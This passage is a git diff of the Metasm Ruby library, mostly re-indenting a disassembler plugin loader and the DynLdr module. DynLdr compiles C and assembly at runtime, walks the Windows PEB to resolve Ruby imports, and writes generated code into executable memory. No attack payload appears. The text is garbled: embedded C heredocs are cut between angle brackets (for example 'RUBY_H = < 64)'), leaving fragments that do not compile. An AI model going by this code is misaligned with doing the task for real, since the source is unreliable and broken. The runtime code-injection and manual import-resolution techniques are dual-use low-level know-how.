a ruby script instance_eval() in the disassembler + # the filename argument is autocompleted with '.rb' suffix, and also + # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd + def load_plugin(plugin_filename) + if not File.exist?(plugin_filename) if File.exist?(plugin_filename+'.rb') - plugin_filename += '.rb' - elsif defined? Metasmdir - # try autocomplete - pf = File.join(Metasmdir, 'samples', 'dasm-plugins', plugin_filename) - if File.exist? pf - plugin_filename = pf - elsif File.exist? pf + '.rb' - plugin_filename = pf + '.rb' - end - end - end - - instance_eval File.read(plugin_filename) - end - - # same as load_plugin, but hides the @gui attribute while loading, preventing the plugin do popup stuff - # this is useful when you want to load a plugin from another plugin to enhance the plugin's functionnality - # XXX this also prevents setting up kbd_callbacks etc.. - def load_plugin_nogui(plugin_filename) - oldgui = gui - @gui = nil - load_plugin(plugin_filename) - ensure - @gui = oldgui - end - - # compose two code/instruction's backtrace_binding - # assumes bd1 is followed by bd2 in the code flow - # eg inc edi + push edi => - # { Ind[:esp, 4] => Expr[:edi + 1], :esp => Expr[:esp - 4], :edi => Expr[:edi + 1] } - # XXX if bd1 writes to memory with a pointer that is reused in bd2, this function has to - # revert the change made by bd2, which only works with simple ptr addition now - # XXX unhandled situations may be resolved using :unknown, or by returning incorrect values - def compose_bt_binding(bd1, bd2) - if bd1.kind_of? DecodedInstruction - bd1 = bd1.backtrace_binding ||= cpu.get_backtrace_binding(bd1) - end - if bd2.kind_of? DecodedInstruction - bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) - end - - reduce = lambda { |e| Expression[Expression[e].reduce] } - - bd = {} - - bd2.each { |k, v| - bd[k] = reduce[v.bind(bd1)] - } - - # for each pointer appearing in keys of bd1, we must infer from bd2 what final - # pointers should appear in bd - # eg 'mov [eax], 0 mov ebx, eax' => { [eax] <- 0, [ebx] <- 0, ebx <- eax } - bd1.each { |k, v| - if k.kind_of? Indirection - done = false - k.pointer.externals.each { |e| - # XXX this will break on nontrivial pointers or bd2 - bd2.each { |k2, v2| - # we dont want to invert computation of flag_zero/carry etc (booh) - next if k2.to_s =~ /flag/ - - # discard indirection etc, result would be too complex / not useful - next if not Expression[v2].expr_externals.include? e - - done = true - - # try to reverse the computation made upon 'e' - # only simple addition handled here - ptr = reduce[k.pointer.bind(e => Expression[[k2, :-, v2], :+, e])] - - # if bd2 does not rewrite e, duplicate the original pointer - if not bd2[e] - bd[k] ||= reduce[v] - - # here we should not see 'e' in ptr anymore - ptr = Expression::Unknown if ptr.externals.include? e - else - # cant check if add reversion was successful.. - end - - bd[Indirection[reduce[ptr], k.len]] ||= reduce[v] - } - } - bd[k] ||= reduce[v] if not done - else - bd[k] ||= reduce[v] - end - } - - bd - end + plugin_filename += '.rb' + elsif defined? Metasmdir + # try autocomplete + pf = File.join(Metasmdir, 'samples', 'dasm-plugins', plugin_filename) + if File.exist? pf + plugin_filename = pf + elsif File.exist? pf + '.rb' + plugin_filename = pf + '.rb' + end + end + end + + instance_eval File.read(plugin_filename) + end + + # same as load_plugin, but hides the @gui attribute while loading, preventing the plugin do popup stuff + # this is useful when you want to load a plugin from another plugin to enhance the plugin's functionnality + # XXX this also prevents setting up kbd_callbacks etc.. + def load_plugin_nogui(plugin_filename) + oldgui = gui + @gui = nil + load_plugin(plugin_filename) + ensure + @gui = oldgui + end + + # compose two code/instruction's backtrace_binding + # assumes bd1 is followed by bd2 in the code flow + # eg inc edi + push edi => + # { Ind[:esp, 4] => Expr[:edi + 1], :esp => Expr[:esp - 4], :edi => Expr[:edi + 1] } + # XXX if bd1 writes to memory with a pointer that is reused in bd2, this function has to + # revert the change made by bd2, which only works with simple ptr addition now + # XXX unhandled situations may be resolved using :unknown, or by returning incorrect values + def compose_bt_binding(bd1, bd2) + if bd1.kind_of? DecodedInstruction + bd1 = bd1.backtrace_binding ||= cpu.get_backtrace_binding(bd1) + end + if bd2.kind_of? DecodedInstruction + bd2 = bd2.backtrace_binding ||= cpu.get_backtrace_binding(bd2) + end + + reduce = lambda { |e| Expression[Expression[e].reduce] } + + bd = {} + + bd2.each { |k, v| + bd[k] = reduce[v.bind(bd1)] + } + + # for each pointer appearing in keys of bd1, we must infer from bd2 what final + # pointers should appear in bd + # eg 'mov [eax], 0 mov ebx, eax' => { [eax] <- 0, [ebx] <- 0, ebx <- eax } + bd1.each { |k, v| + if k.kind_of? Indirection + done = false + k.pointer.externals.each { |e| + # XXX this will break on nontrivial pointers or bd2 + bd2.each { |k2, v2| + # we dont want to invert computation of flag_zero/carry etc (booh) + next if k2.to_s =~ /flag/ + + # discard indirection etc, result would be too complex / not useful + next if not Expression[v2].expr_externals.include? e + + done = true + + # try to reverse the computation made upon 'e' + # only simple addition handled here + ptr = reduce[k.pointer.bind(e => Expression[[k2, :-, v2], :+, e])] + + # if bd2 does not rewrite e, duplicate the original pointer + if not bd2[e] + bd[k] ||= reduce[v] + + # here we should not see 'e' in ptr anymore + ptr = Expression::Unknown if ptr.externals.include? e + else + # cant check if add reversion was successful.. + end + + bd[Indirection[reduce[ptr], k.len]] ||= reduce[v] + } + } + bd[k] ||= reduce[v] if not done + else + bd[k] ||= reduce[v] + end + } + + bd + end end end diff --git a/lib/metasm/metasm/dynldr.rb b/lib/metasm/metasm/dynldr.rb index 68967bd925fed..38af7becc7bf5 100644 --- a/lib/metasm/metasm/dynldr.rb +++ b/lib/metasm/metasm/dynldr.rb @@ -9,8 +9,8 @@ module Metasm class DynLdr - # basic C defs for ruby internals - 1.8 and 1.9 compat - x86/x64 - RUBY_H = < 64) - rb_raise(*rb_eArgError, "bad args"); - - uintptr_t flags_v = VAL2INT(flags); - uintptr_t ptr_v = VAL2INT(ptr); - unsigned i, argsz; - uintptr_t args_c[64]; - __int64 ret; - - argsz = ARY_LEN(args); - for (i=0U ; i 64) + rb_raise(*rb_eArgError, "bad args"); + + uintptr_t flags_v = VAL2INT(flags); + uintptr_t ptr_v = VAL2INT(ptr); + unsigned i, argsz; + uintptr_t args_c[64]; + __int64 ret; + + argsz = ARY_LEN(args); + for (i=0U ; ilen = 8U; // len == 8, no need to ARY_LEN/EMBED stuff - - ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); - - // dynldr.callback will give us the arity (in bytes) of the callback in args[0] - // we just put the stack lifting offset in caller_id for the asm stub to use - caller_id = VAL2INT(ARY_PTR(args)[0]); - - return VAL2INT(ret); + uintptr_t *addr = &arg0; + unsigned i, ret; + VALUE args = rb_ary_new2(8); + + // copy our args to a ruby-accessible buffer + for (i=0U ; i<8U ; ++i) + ARY_PTR(args)[i] = INT2VAL(*addr++); + RArray(args)->len = 8U; // len == 8, no need to ARY_LEN/EMBED stuff + + ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(caller_id), args); + + // dynldr.callback will give us the arity (in bytes) of the callback in args[0] + // we just put the stack lifting offset in caller_id for the asm stub to use + caller_id = VAL2INT(ARY_PTR(args)[0]); + + return VAL2INT(ret); } #elif defined __amd64__ @@ -288,88 +288,88 @@ class DynLdr // TODO float args static VALUE invoke(VALUE self, VALUE ptr, VALUE args, VALUE flags) { - if (TYPE(args) != T_ARRAY || ARY_LEN(args) > 16) - rb_raise(*rb_eArgError, "bad args"); - - uintptr_t flags_v = VAL2INT(flags); - uintptr_t ptr_v = VAL2INT(ptr); - int i, argsz; - uintptr_t args_c[16]; - uintptr_t ret; - uintptr_t (*ptr_f)(uintptr_t, ...) = (void*)ptr_v; - - argsz = (int)ARY_LEN(args); - for (i=0 ; i 16) + rb_raise(*rb_eArgError, "bad args"); + + uintptr_t flags_v = VAL2INT(flags); + uintptr_t ptr_v = VAL2INT(ptr); + int i, argsz; + uintptr_t args_c[16]; + uintptr_t ret; + uintptr_t (*ptr_f)(uintptr_t, ...) = (void*)ptr_v; + + argsz = (int)ARY_LEN(args); + for (i=0 ; ilen = 8; - ptr[0] = INT2VAL(arg0); - ptr[1] = INT2VAL(arg1); - ptr[2] = INT2VAL(arg2); - ptr[3] = INT2VAL(arg3); - ptr[4] = INT2VAL(arg4); - ptr[5] = INT2VAL(arg5); - ptr[6] = INT2VAL(arg6); - ptr[7] = INT2VAL(arg7); - - ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(cb_id), args); - - return VAL2INT(ret); + uintptr_t ret; + VALUE args = rb_ary_new2(8); + VALUE *ptr = ARY_PTR(args); + + RArray(args)->len = 8; + ptr[0] = INT2VAL(arg0); + ptr[1] = INT2VAL(arg1); + ptr[2] = INT2VAL(arg2); + ptr[3] = INT2VAL(arg3); + ptr[4] = INT2VAL(arg4); + ptr[5] = INT2VAL(arg5); + ptr[6] = INT2VAL(arg6); + ptr[7] = INT2VAL(arg7); + + ret = rb_funcall(dynldr, rb_intern("callback_run"), 2, INT2VAL(cb_id), args); + + return VAL2INT(ret); } #endif int Init_dynldr(void) __attribute__((export_as(Init_))) // to patch before parsing to match the .so name { - dynldr = rb_const_get(rb_const_get(*rb_cObject, rb_intern("Metasm")), rb_intern("DynLdr")); - rb_define_singleton_method(dynldr, "memory_read", memory_read, 2); - rb_define_singleton_method(dynldr, "memory_read_int", memory_read_int, 1); - rb_define_singleton_method(dynldr, "memory_write", memory_write, 2); - rb_define_singleton_method(dynldr, "memory_write_int", memory_write_int, 2); - rb_define_singleton_method(dynldr, "str_ptr", str_ptr, 1); - rb_define_singleton_method(dynldr, "rb_obj_to_value", rb_obj_to_value, 1); - rb_define_singleton_method(dynldr, "rb_value_to_obj", rb_value_to_obj, 1); - rb_define_singleton_method(dynldr, "sym_addr", sym_addr, 2); - rb_define_singleton_method(dynldr, "raw_invoke", invoke, 3); - rb_define_const(dynldr, "CALLBACK_TARGET", + dynldr = rb_const_get(rb_const_get(*rb_cObject, rb_intern("Metasm")), rb_intern("DynLdr")); + rb_define_singleton_method(dynldr, "memory_read", memory_read, 2); + rb_define_singleton_method(dynldr, "memory_read_int", memory_read_int, 1); + rb_define_singleton_method(dynldr, "memory_write", memory_write, 2); + rb_define_singleton_method(dynldr, "memory_write_int", memory_write_int, 2); + rb_define_singleton_method(dynldr, "str_ptr", str_ptr, 1); + rb_define_singleton_method(dynldr, "rb_obj_to_value", rb_obj_to_value, 1); + rb_define_singleton_method(dynldr, "rb_value_to_obj", rb_value_to_obj, 1); + rb_define_singleton_method(dynldr, "sym_addr", sym_addr, 2); + rb_define_singleton_method(dynldr, "raw_invoke", invoke, 3); + rb_define_const(dynldr, "CALLBACK_TARGET", #ifdef __i386__ - INT2VAL((VALUE)&callback_handler)); + INT2VAL((VALUE)&callback_handler)); #elif defined __amd64__ - INT2VAL((VALUE)&do_callback_handler)); + INT2VAL((VALUE)&do_callback_handler)); #endif - rb_define_const(dynldr, "CALLBACK_ID_0", INT2VAL((VALUE)&callback_id_0)); - rb_define_const(dynldr, "CALLBACK_ID_1", INT2VAL((VALUE)&callback_id_1)); - return 0; + rb_define_const(dynldr, "CALLBACK_ID_0", INT2VAL((VALUE)&callback_id_0)); + rb_define_const(dynldr, "CALLBACK_ID_1", INT2VAL((VALUE)&callback_id_1)); + return 0; } EOS - # see the note in compile_bin_module - # this is a dynamic resolver for the ruby symbols we use - DYNLDR_C_PE_HACK = <ldr->inloadorder; - ptr = ((struct _lmodule *)base)->next; - ptr = ptr->next; // skip the first entry = ruby.exe - while (ptr != base) { - if (wstrcaseruby(ptr->basename, ptr->len/2)) - return ptr->base; - ptr = ptr->next; - } - - return 0; + struct _lmodule *ptr; + void *base; + struct _peb *peb = get_peb(); + + base = &peb->ldr->inloadorder; + ptr = ((struct _lmodule *)base)->next; + ptr = ptr->next; // skip the first entry = ruby.exe + while (ptr != base) { + if (wstrcaseruby(ptr->basename, ptr->len/2)) + return ptr->base; + ptr = ptr->next; + } + + return 0; } // find the ruby library from an address in the ruby module (Init_dynldr retaddr) static uintptr_t find_ruby_module_mem(uintptr_t someaddr) { - // could __try{}, but with no imports we're useless anyway. - uintptr_t ptr = someaddr & (-0x10000); - while (*((unsigned __int16 *)ptr) != 'ZM') // XXX too weak? - ptr -= 0x10000; - return ptr; + // could __try{}, but with no imports we're useless anyway. + uintptr_t ptr = someaddr & (-0x10000); + while (*((unsigned __int16 *)ptr) != 'ZM') // XXX too weak? + ptr -= 0x10000; + return ptr; } // a table of string offsets, base = the table itself @@ -462,111 +462,111 @@ class DynLdr // resolve the ruby imports found by offset in ruby_import_table int load_ruby_imports(uintptr_t rbaddr) { - uintptr_t ruby_module; - uintptr_t *ptr; - char *table; - - static int loaded_ruby_imports = 0; - if (loaded_ruby_imports) - return 0; - loaded_ruby_imports = 1; - - if (rbaddr) - ruby_module = find_ruby_module_mem(rbaddr); - else - ruby_module = find_ruby_module_peb(); - - if (!ruby_module) - return 0; - - ptr = &ruby_import_table; - table = (char*)ptr; - - while (*ptr) { - if (!(*ptr = GetProcAddress(ruby_module, table+*ptr))) - // TODO warning or something - return 0; - ptr++; - } - - return 1; + uintptr_t ruby_module; + uintptr_t *ptr; + char *table; + + static int loaded_ruby_imports = 0; + if (loaded_ruby_imports) + return 0; + loaded_ruby_imports = 1; + + if (rbaddr) + ruby_module = find_ruby_module_mem(rbaddr); + else + ruby_module = find_ruby_module_peb(); + + if (!ruby_module) + return 0; + + ptr = &ruby_import_table; + table = (char*)ptr; + + while (*ptr) { + if (!(*ptr = GetProcAddress(ruby_module, table+*ptr))) + // TODO warning or something + return 0; + ptr++; + } + + return 1; } #ifdef __x86_64__ #define DLL_PROCESS_ATTACH 1 __stdcall int DllMain(void *handle, int reason, void *res) { - if (reason == DLL_PROCESS_ATTACH) - return load_ruby_imports(0); - return 1; + if (reason == DLL_PROCESS_ATTACH) + return load_ruby_imports(0); + return 1; } #endif EOS - # ia32 asm source for the native component: handles ABI stuff - DYNLDR_ASM_IA32 = < cb structure (inuse only) - - binmodule = find_bin_path - - if not File.exists?(binmodule) or File.stat(binmodule).mtime < File.stat(__FILE__).mtime - compile_binary_module(host_exe, host_cpu, binmodule) - end - - require binmodule - - @@callback_addrs << CALLBACK_ID_0 << CALLBACK_ID_1 - end - - # compile the dynldr binary ruby module for a specific arch/cpu/modulename - def self.compile_binary_module(exe, cpu, modulename) - bin = exe.new(cpu) - # compile the C code, but patch the Init_ export name, which must match the string used in 'require' - module_c_src = DYNLDR_C.gsub('', File.basename(modulename, '.so')) - bin.compile_c module_c_src - # compile the Asm stuff according to the target architecture - bin.assemble case cpu.shortname - when 'ia32'; DYNLDR_ASM_IA32 - when 'x64'; DYNLDR_ASM_X86_64 - end - - # tweak the resulting binary linkage procedures if needed - compile_binary_module_hack(bin) - - # save the shared library - bin.encode_file(modulename, :lib) - end - - def self.compile_binary_module_hack(bin) - # this is a hack - # we need the module to use ruby symbols - # but we don't know the actual ruby lib filename (depends on ruby version, # platform, ...) - case bin.shortname - when 'elf' - # we know the lib is already loaded by the main ruby executable, no DT_NEEDED needed - class << bin - def automagic_symbols(*a) - # do the plt generation - super(*a) - # but remove the specific lib names - @tag.delete 'NEEDED' - end - end - return - when 'coff' - # the hard part, see below - else - # unhandled arch, dont tweak - return - end - - # we remove the PE IAT section related to ruby symbols, and make - # a manual symbol resolution on module loading. - - # populate the ruby import table ourselves on module loading - bin.imports.delete_if { |id| id.libname =~ /ruby/ } - - # we generate something like: - # .data - # ruby_import_table: - # rb_cObject dd str_rb_cObject - ruby_import_table - # riat_rb_intern dd str_rb_intern - ruby_import_table - # dd 0 - # - # .rodata - # str_rb_cObject db "rb_cObject", 0 - # str_rb_intern db "rb_intern", 0 - # - # .text - # rb_intern: jmp [riat_rb_intern] - # - # the PE_HACK code will parse ruby_import_table and make the symbol resolution on startup - - # setup the string table and the thunks - text = bin.sections.find { |s| s.name == '.text' }.encoded - rb_syms = text.reloc_externals.grep(/^rb_/) - - dd = (bin.cpu.size == 64 ? 'dq' : 'dd') - - init_symbol = text.export.keys.grep(/^Init_/).first - raise 'no Init_mname symbol found' if not init_symbol - if bin.cpu.size == 32 - # hax to find the base of libruby under Win98 (peb sux) - text.export[init_symbol + '_real'] = text.export.delete(init_symbol) - bin.unique_labels_cache.delete(init_symbol) - end - - # the C glue: getprocaddress etc - bin.compile_c DYNLDR_C_PE_HACK.gsub('Init_dynldr', init_symbol) - - # the IAT, initialized with relative offsets to symbol names - asm_table = ['.data', '.align 8', 'ruby_import_table:'] - # strings will be in .rodata - bin.parse('.rodata') - rb_syms.each { |sym| - # raw symbol name - str_label = bin.parse_new_label('str', "db #{sym.inspect}, 0") - - if sym !~ /^rb_[ce][A-Z]/ - # if we dont reference a data import (rb_cClass / rb_eException), - # then create a function thunk - i = PE::ImportDirectory::Import.new - i.thunk = sym - sym = i.target = 'riat_' + str_label - bin.arch_encode_thunk(text, i) # encode a jmp [importtable] - end - - # update the IAT - asm_table << "#{sym} #{dd} #{str_label} - ruby_import_table" - } - # IAT null-terminated - asm_table << "#{dd} 0" - - # now parse & assemble the IAT in .data - bin.assemble asm_table.join("\n") - end - - # find the path of the binary module - # if none exists, create a path writeable by the current user - def self.find_bin_path - fname = ['dynldr', host_arch, host_cpu.shortname, - ('19' if RUBY_VERSION >= '1.9')].compact.join('-') + '.so' - dir = File.dirname(__FILE__) - binmodule = File.join(dir, fname) - if not File.exists? binmodule or File.stat(binmodule).mtime < File.stat(__FILE__).mtime - if not dir = find_write_dir - raise LoadError, "no writable dir to put the DynLdr ruby module, try to run as root" - end - binmodule = File.join(dir, fname) - end - binmodule - end - - # find a writeable directory - # searches this script directory, $HOME / %APPDATA% / %USERPROFILE%, or $TMP - def self.find_write_dir - writable = lambda { |d| - begin - foo = '/_test_write_' + rand(1<<32).to_s - true if File.writable?(d) and - File.open(d+foo, 'w') { true } and - File.unlink(d+foo) - rescue - end - } - dir = File.dirname(__FILE__) - return dir if writable[dir] - dir = ENV['HOME'] || ENV['APPDATA'] || ENV['USERPROFILE'] - if writable[dir] - dir = File.join(dir, '.metasm') - Dir.mkdir dir if not File.directory? dir - return dir - end - ENV['TMP'] || ENV['TEMP'] || '.' - end - - # CPU suitable for compiling code for the current running host - def self.host_cpu - @cpu ||= - case RUBY_PLATFORM - when /i[3-6]86/; Ia32.new - when /x86_64|x64/i; X86_64.new - else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" - end - end - - # returns whether we run on linux or windows - def self.host_arch - case RUBY_PLATFORM - when /linux/i; :linux - when /mswin|mingw|cygwin/i; :windows - else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" - end - end - - # ExeFormat suitable as current running host native module - def self.host_exe - case host_arch - when :linux; ELF - when :windows; PE - end - end - - # parse a C string into the @cp parser, create it if needed - def self.parse_c(src) - cp.parse(src) - end - - # compile a C fragment into a Shellcode, honors the host ABI - def self.compile_c(src) - # XXX could we reuse self.cp ? (for its macros etc) - cp = C::Parser.new(host_exe.new(host_cpu)) - cp.parse(src) - sc = Shellcode.new(host_cpu) - asm = host_cpu.new_ccompiler(cp, sc).compile - sc.assemble(asm) - end - - # retrieve the library where a symbol is to be found (uses AutoImport) - def self.lib_from_sym(symname) - case host_arch - when :linux; GNUExports::EXPORT - when :windows; WindowsExports::EXPORT - end[symname] - end - - # reads a bunch of C code, creates binding for those according to the prototypes - # handles enum/defines to define constants - # For each toplevel method prototype, it generates a ruby method in this module, the name is lowercased - # For each numeric macro/enum, it also generates an uppercase named constant - # When such a function is called with a lambda as argument, a callback is created for the duration of the call - # and destroyed afterwards ; use callback_alloc_c to get a callback id with longer life span - def self.new_api_c(proto, fromlib=nil) - proto += "\n;" # allow 'int foo()' and '#include ' - parse_c(proto) - - cp.toplevel.symbol.dup.each_value { |v| - next if not v.kind_of? C::Variable # enums - cp.toplevel.symbol.delete v.name - lib = fromlib || lib_from_sym(v.name) - addr = sym_addr(lib, v.name) - if addr == 0 or addr == -1 or addr == 0xffff_ffff or addr == 0xffffffff_ffffffff - api_not_found(lib, v) - next - end - - rbname = c_func_name_to_rb(v.name) - if not v.type.kind_of? C::Function - # not a function, simply return the symbol address - # TODO struct/table access through hash/array ? - class << self ; self ; end.send(:define_method, rbname) { addr } - next - end - next if v.initializer # inline & stuff - puts "new_api_c: load method #{rbname} from #{lib}" if $DEBUG - - new_caller_for(v, rbname, addr) - } - - # predeclare constants from enums - # macros are handled in const_missing (too slow to (re)do here everytime) - # TODO #define FOO(v) (v<<1)|1 => create ruby counterpart - cexist = constants.inject({}) { |h, c| h.update c.to_s => true } - cp.toplevel.symbol.each { |k, v| - if v.kind_of? ::Integer - n = c_const_name_to_rb(k) - const_set(n, v) if v.kind_of? Integer and not cexist[n] - end - } - - # avoid WTF rb warning: toplevel const TRUE referenced by WinAPI::TRUE - cp.lexer.definition.each_key { |k| - n = c_const_name_to_rb(k) - if not cexist[n] and Object.const_defined?(n) and v = @cp.macro_numeric(n) - const_set(n, v) - end - } - end - - # const_missing handler: will try to find a matching #define - def self.const_missing(c) - # infinite loop on autorequire C.. - return super(c) if not defined? @cp or not @cp - - cs = c.to_s - if @cp.lexer.definition[cs] - m = cs - else - m = @cp.lexer.definition.keys.find { |k| c_const_name_to_rb(k) == cs } - end - - if m and v = @cp.macro_numeric(m) - const_set(c, v) - v - else - super(c) - end - end - - # when defining ruby wrapper for C methods, the ruby method name is the string returned by this function from the C name - def self.c_func_name_to_rb(name) - n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.downcase - n = "m#{n}" if n !~ /^[a-z]/ - n - end - - # when defining ruby wrapper for C constants (numeric define/enum), the ruby const name is - # the string returned by this function from the C name. It should follow ruby standards (1st letter upcase) - def self.c_const_name_to_rb(name) - n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.upcase - n = "C#{n}" if n !~ /^[A-Z]/ - n - end - - def self.api_not_found(lib, func) - raise "could not find symbol #{func.name.inspect} in #{lib.inspect}" - end - - # called whenever a native API is called through new_api_c/new_func_c/etc - def self.trace_invoke(api, args) - #p api - end - - # define a new method 'name' in the current module to invoke the raw method at addr addr - # translates ruby args to raw args using the specified prototype - def self.new_caller_for(proto, name, addr) - flags = 0 - flags |= 1 if proto.has_attribute('stdcall') - flags |= 2 if proto.has_attribute('fastcall') - flags |= 4 if proto.type.type.integral? and cp.sizeof(nil, proto.type.type) == 8 - flags |= 8 if proto.type.type.float? - class << self ; self ; end.send(:define_method, name) { |*a| - raise ArgumentError, "bad arg count for #{name}: #{a.length} for #{proto.type.args.length}" if a.length != proto.type.args.length and not proto.type.varargs - - # convert the arglist suitably for raw_invoke - auto_cb = [] # list of automatic C callbacks generated from lambdas - a = a.zip(proto.type.args).map { |ra, fa| - aa = convert_rb2c(fa, ra, :cb_list => auto_cb) - if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 - aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] - aa.reverse! if host_cpu.endianness != :little - end - aa - }.flatten - - trace_invoke(name, a) - # do it - ret = raw_invoke(addr, a, flags) - - # cleanup autogenerated callbacks - auto_cb.each { |cb| callback_free(cb) } - - # interpret return value - ret = convert_ret_c2rb(proto, ret) - } - end - - # ruby object -> integer suitable as arg for raw_invoke - def self.convert_rb2c(formal, val, opts=nil) - case val - when String; str_ptr(val) - when Proc; cb = callback_alloc_cobj(formal, val) ; (opts[:cb_list] << cb if opts and opts[:cb_list]) ; cb - when C::AllocCStruct; str_ptr(val.str) + val.stroff - when Hash - if not formal.type.pointed.kind_of?(C::Struct) - raise "invalid argument #{val.inspect} for #{formal}, need a struct*" - end - buf = cp.alloc_c_struct(formal, val) - val.instance_variable_set('@rb2c', buf) # GC trick: lifetime(buf) >= lifetime(hash) (XXX or until next call to convert_rb2c) - str_ptr(buf.str) - #when Float; val # TODO handle that in raw_invoke C code - else - v = val.to_i rescue 0 # NaN, Infinity, etc - v = -v if v == -(1<<(cp.typesize[:ptr]*8-1)) # ruby bug... raise -0x8000_0000: out of ulong range - v - end - end - - # this method is called from the C part to run the ruby code corresponding to - # a given C callback allocated by callback_alloc_c - def self.callback_run(id, args) - cb = @@callback_table[id] - raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb - - rawargs = args.dup - ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] - - # run it - ret = cb[:proc].call(*ra) - - # the C code expects to find in args[0] the amount of stack fixing needed for __stdcall callbacks - args[0] = cb[:abi_stackfix] || 0 - ret - end - - # C raw cb arg -> ruby object - # will combine 2 32bit values for 1 64bit arg - def self.convert_cbargs_c2rb(formal, rawargs) - val = rawargs.shift - if formal.type.integral? and cp.sizeof(formal) == 8 and host_cpu.size == 32 - if host.cpu.endianness == :little - val |= rawargs.shift << 32 - else - val = (val << 32) | rawargs.shift - end - end - - convert_c2rb(formal, val) - end - - # interpret a raw decoded C value to a ruby value according to the C prototype - # handles signedness etc - # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? - def self.convert_c2rb(formal, val) - formal = formal.type if formal.kind_of? C::Variable - val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? - val = nil if formal.pointer? and val == 0 - val - end - - # C raw ret -> ruby obj - # can be overridden for system-specific calling convention (eg return 0/-1 => raise an error) - def self.convert_ret_c2rb(fproto, ret) - fproto = fproto.type if fproto.kind_of? C::Variable - convert_c2rb(fproto.untypedef.type, ret) - end - - def self.cp ; @cp ||= C::Parser.new(host_exe.new(host_cpu)) ; end - def self.cp=(c); @cp = c ; end - - # allocate a callback for a given C prototype (string) - # accepts full C functions (with body) (only 1 at a time) or toplevel 'asm' statement - def self.callback_alloc_c(proto, &b) - proto += ';' # allow 'int foo()' - parse_c(proto) - v = cp.toplevel.symbol.values.find_all { |v_| v_.kind_of? C::Variable and v_.type.kind_of? C::Function }.first - if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } - cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } - cp.toplevel.symbol.delete v.name if v - sc = compile_c(proto) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - # TODO fixup external calls - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' - ptr - elsif not v - raise 'empty prototype' - else - cp.toplevel.symbol.delete v.name - callback_alloc_cobj(v, b) - end - end - - # allocates a callback for a given C prototype (C variable, pointer to func accepted) - def self.callback_alloc_cobj(proto, b) - ori = proto - proto = proto.type if proto and proto.kind_of? C::Variable - proto = proto.pointed while proto and proto.pointer? - id = callback_find_id - cb = {} - cb[:id] = id - cb[:proc] = b - cb[:proto] = proto - cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') - cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall - @@callback_table[id] = cb - id - end - - # releases a callback id, so that it may be reused by a later callback_alloc - def self.callback_free(id) - @@callback_table.delete id - end - - # finds a free callback id, allocates a new page if needed - def self.callback_find_id - if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - cb_page = memory_alloc(4096) - sc = Shellcode.new(host_cpu, cb_page) - case sc.cpu.shortname - when 'ia32' - addr = cb_page - nrcb = 128 # TODO should be 4096/5, but the parser/compiler is really too slow - nrcb.times { - @@callback_addrs << addr - sc.parse "call #{CALLBACK_TARGET}" - addr += 5 - } - when 'x64' - addr = cb_page - nrcb = 128 # same remark - nrcb.times { - @@callback_addrs << addr - sc.parse "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" - addr += 12 # XXX approximative.. - } - end - sc.assemble - memory_write cb_page, sc.encode_string - memory_perm cb_page, 4096, 'rx' - raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - end - id - end - - # compile a bunch of C functions, defines methods in this module to call them - # returns the raw pointer to the code page - # if given a block, run the block and then undefine all the C functions & free memory - def self.new_func_c(src) - sc = compile_c(src) - ptr = memory_alloc(sc.encoded.length) - sc.base_addr = ptr - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' - parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... - defs = [] - cp.toplevel.symbol.dup.each_value { |v| - next if not v.kind_of? C::Variable - cp.toplevel.symbol.delete v.name - next if not v.type.kind_of? C::Function or not v.initializer - next if not off = sc.encoded.export[v.name] - rbname = c_func_name_to_rb(v.name) - new_caller_for(v, rbname, ptr+off) - defs << rbname - } - if block_given? - begin - yield - ensure - defs.each { |d| class << self ; self ; end.send(:remove_method, d) } - memory_free ptr - end - else - ptr - end - end - - # compile an asm sequence, callable with the ABI of the C prototype given - # function name comes from the prototype - def self.new_func_asm(proto, asm) - proto += "\n;" - old = cp.toplevel.symbol.keys - parse_c(proto) - news = cp.toplevel.symbol.keys - old - raise "invalid proto #{proto}" if news.length != 1 - f = cp.toplevel.symbol[news.first] - raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer - cp.toplevel.symbol.delete f.name - - sc = Shellcode.assemble(host_cpu, asm) - ptr = memory_alloc(sc.encoded.length) - bd = sc.encoded.binding(ptr) - sc.encoded.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise "unknown symbol #{ext}" } - sc.encoded.fixup(bd) - memory_write ptr, sc.encode_string - memory_perm ptr, sc.encoded.length, 'rwx' - rbname = c_func_name_to_rb(f.name) - new_caller_for(f, 